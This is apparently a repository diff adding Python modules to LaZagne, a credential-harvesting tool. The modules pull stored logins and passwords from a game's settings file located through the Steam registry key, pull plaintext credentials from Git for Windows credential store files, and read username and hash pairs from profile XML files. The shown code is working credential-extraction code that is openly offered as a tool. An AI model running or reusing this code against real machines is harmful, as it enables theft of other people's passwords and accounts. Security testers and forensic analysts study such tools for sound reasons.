|
||||
xmlfile = directory + '\\' + f
|
||||
tree = ElementTree(file=xmlfile)
|
||||
root = tree.getroot()
|
||||
|
||||
# Double check to make sure that the file is valid
|
||||
if root.tag != 'user':
|
||||
self.warning(u'Profile %s does not appear to be valid' % f)
|
||||
continue
|
||||
|
||||
# Now save it to credentials
|
||||
creds.append({
|
||||
'Login': root.attrib['username'],
|
||||
'Hash': root.attrib['password']
|
||||
})
|
||||
|
||||
return creds
|
55
lazagne/softwares/games/turba.py
Normal file
55
lazagne/softwares/games/turba.py
Normal file
@ -0,0 +1,55 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import os
|
||||
|
||||
try:
|
||||
import _winreg as winreg
|
||||
except ImportError:
|
||||
import winreg
|
||||
|
||||
import lazagne.config.winstructure as win
|
||||
from lazagne.config.module_info import ModuleInfo
|
||||
from lazagne.config.winstructure import string_to_unicode
|
||||
|
||||
|
||||
class Turba(ModuleInfo):
|
||||
def __init__(self):
|
||||
ModuleInfo.__init__(self, 'turba', 'games', registry_used=True)
|
||||
|
||||
def run(self):
|
||||
creds = []
|
||||
results = None
|
||||
|
||||
# Find the location of steam - to make it easier we're going to use a try block
|
||||
# 'cos I'm lazy
|
||||
try:
|
||||
with win.OpenKey(win.HKEY_CURRENT_USER, 'Software\Valve\Steam') as key:
|
||||
results = winreg.QueryValueEx(key, 'SteamPath')
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if results:
|
||||
steampath = string_to_unicode(results[0])
|
||||
steamapps = os.path.join(steampath, u'SteamApps\common')
|
||||
|
||||
# Check that we have a SteamApps directory
|
||||
if not os.path.exists(steamapps):
|
||||
self.error(u'Steam doesn\'t have a SteamApps directory.')
|
||||
return
|
||||
|
||||
filepath = os.path.join(steamapps, u'Turba\\Assets\\Settings.bin')
|
||||
|
||||
if not os.path.exists(filepath):
|
||||
self.debug(u'Turba doesn\'t appear to be installed.')
|
||||
return
|
||||
|
||||
# If we're here we should have a valid config file file
|
||||
with open(filepath, mode='rb') as filepath:
|
||||
# We've found a config file, now extract the creds
|
||||
data = filepath.read()
|
||||
chunk = data[0x1b:].split('\x0a')
|
||||
creds.append({
|
||||
'Login': chunk[0],
|
||||
'Password': chunk[1]
|
||||
})
|
||||
return creds
|
0
lazagne/softwares/git/__init__.py
Normal file
0
lazagne/softwares/git/__init__.py
Normal file
61
lazagne/softwares/git/gitforwindows.py
Normal file
61
lazagne/softwares/git/gitforwindows.py
Normal file
@ -0,0 +1,61 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import os
|
||||
|
||||
try:
|
||||
from urlparse import urlparse, unquote
|
||||
except ImportError:
|
||||
from urllib.parse import urlparse, unquote
|
||||
|
||||
from lazagne.config.constant import constant
|
||||
from lazagne.config.module_info import ModuleInfo
|
||||
from lazagne.config.winstructure import string_to_unicode
|
||||
|
||||
|
||||
class GitForWindows(ModuleInfo):
|
||||
def __init__(self):
|
||||
ModuleInfo.__init__(self, 'gitforwindows', 'git')
|
||||
|
||||
def extract_credentials(self, location):
|
||||
"""
|
||||
Extract the credentials from a Git store file.
|
||||
See "https://git-scm.com/docs/git-credential-store" for file format.
|
||||
|
||||
:param location: Full path to the Git store file
|
||||
:return: List of credentials founds
|
||||
"""
|
||||
pwd_found = []
|
||||
if os.path.isfile(location):
|
||||
with open(location) as f:
|
||||
# One line have the following format: https://user:pass@example.com
|
||||
for cred in f:
|
||||
if len(cred) > 0:
|
||||
parts = urlparse(cred)
|
||||
pwd_found.append((
|
||||
unquote(parts.geturl().replace(parts.username + ":" + parts.password + "@", "").strip()),
|
||||
unquote(parts.username),
|
||||
unquote(parts.password)
|
||||
))
|
||||
|
||||
return pwd_found
|
||||
|
||||
def run(self):
|
||||
"""
|
||||
Main function
|
||||
"""
|
||||
|
||||
# According to the "git-credential-store" documentation:
|
||||
# Build a list of locations in which git credentials can be stored
|
||||
locations = [
|
||||
os.path.join(constant.profile["USERPROFILE"], u'.git-credentials'),
|
||||
os.path.join(constant.profile["USERPROFILE"], u'.config\\git\\credentials'),
|
||||
]
|
||||
if "XDG_CONFIG_HOME" in os.environ:
|
||||
locations.append(os.path.join(string_to_unicode(os.environ.get('XDG_CONFIG_HOME')), u'git\\credentials'))
|
||||
|
||||
# Apply the password extraction on the defined locations
|
||||
pwd_found = []
|
||||
for location in locations:
|
||||
pwd_found += self.extract_credentials(location)
|
||||
|
||||
# Filter duplicates
|
||||
return [{'URL': url, 'Login': login, 'Password': password} for url, login, password in set(pwd_found)]
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user